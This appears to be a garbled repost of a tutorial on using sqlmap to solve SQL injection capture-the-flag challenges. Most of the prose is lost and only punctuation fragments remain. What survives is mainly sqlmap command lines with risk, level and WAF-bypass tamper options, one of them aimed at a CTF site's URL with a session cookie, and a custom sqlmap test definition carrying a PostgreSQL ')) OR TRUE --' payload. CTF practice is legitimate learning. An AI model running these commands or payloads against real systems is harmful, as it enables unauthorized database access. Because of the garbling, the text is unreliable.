网络安全SQL注入2020

对于“ Web应用程序安全性”课程的未来学生,我们发表了OTUS专家,国际公司的病毒分析师的文章-Alexander Kolesnikov


, SQLmap sql injection CTF . , risk-level «if you know what i mean». , .

, .

SQLMap

, SQLMap, . . , Wiki. , , . , , . - . , , , :

: «boolean blind», «error based», «inline query», «stacked query», «time blind», «union query». risk, level — technique . . , . . —tamper.

, : CTF , Bug bounty HackerOne. . SQL Injection. 

, , : MySQL, SQLite, Oracle, PostgreSQL. , - .

task- - , :

, , POST , sqlmap:

  1. , , , backend.

  2. , : Cookie.

  3. sqlmap.

:

, , .

" ", "" , :

- ; .

, :

:

 sqlmap -r ./requestFromBrowser -p user—risk=1level=1 —batch —random-agent -b

. , . , , .

, :

, . , . . , - «Error Based», - batch ().

:

, sqlmap.

. - :

, , .

, - . , PostgreSQL. . ‘ username password.

, sqlmap . , - PostgreSQL, , . ? payload postgreSQL.

<test>
    <title> PostgreSQL CTF Test</title>
 	  <stype>2</stype>
    <level>1</level>
    <risk>3</risk>
    <clause>1,8,9</clause>
    <where>1</where>
    <vector>')) OR TRUE --</vector>
    <request>
        <payload>'))OR TRUE --</payload>
    </request>
    <response>
        <grep> DELIMETERSTART[DELIMETERSTOP[</grep>
    </response>
    <details>
        <dbms>PostgreSQL</dbms>
    </details>
</test>

, sqlmap, . , «FLAG-[any value]» , . PostgreSQL . , , :

sqlmap -r ./request2 -p username 

--risk=1 --level=3 --random-agent -b —technique=E

:

, , postgreSQL, , «FLAG-» , , .

, , . . :

, - -t ./log. - , . , :

«danger|username» . payload sqlmap . , WAF. , WAF, , , . 

, «=». ? - . sqlmap , , . , - equaltolike . , , «Wrong username» :

sqlmap -r ./request3 -p username --risk=1 --level=3 --random-agent -b -t ./log  --tamper=equaltolike --string="Wrong username».

:

:

,   GET. , . URL Cookie:

sqlmap -u "https://ringzer0ctf.com/challenges/37?q=" --risk=3 --level=5 —cookie=«PHPSESSID=[ ]" --random-agent -b -t ./log

, - URL . tamper=space2morecomment

, , . :

tamper «/_/» «/*/»:

sqlmap, :

— .

, . . — . !


" -".

:




All Articles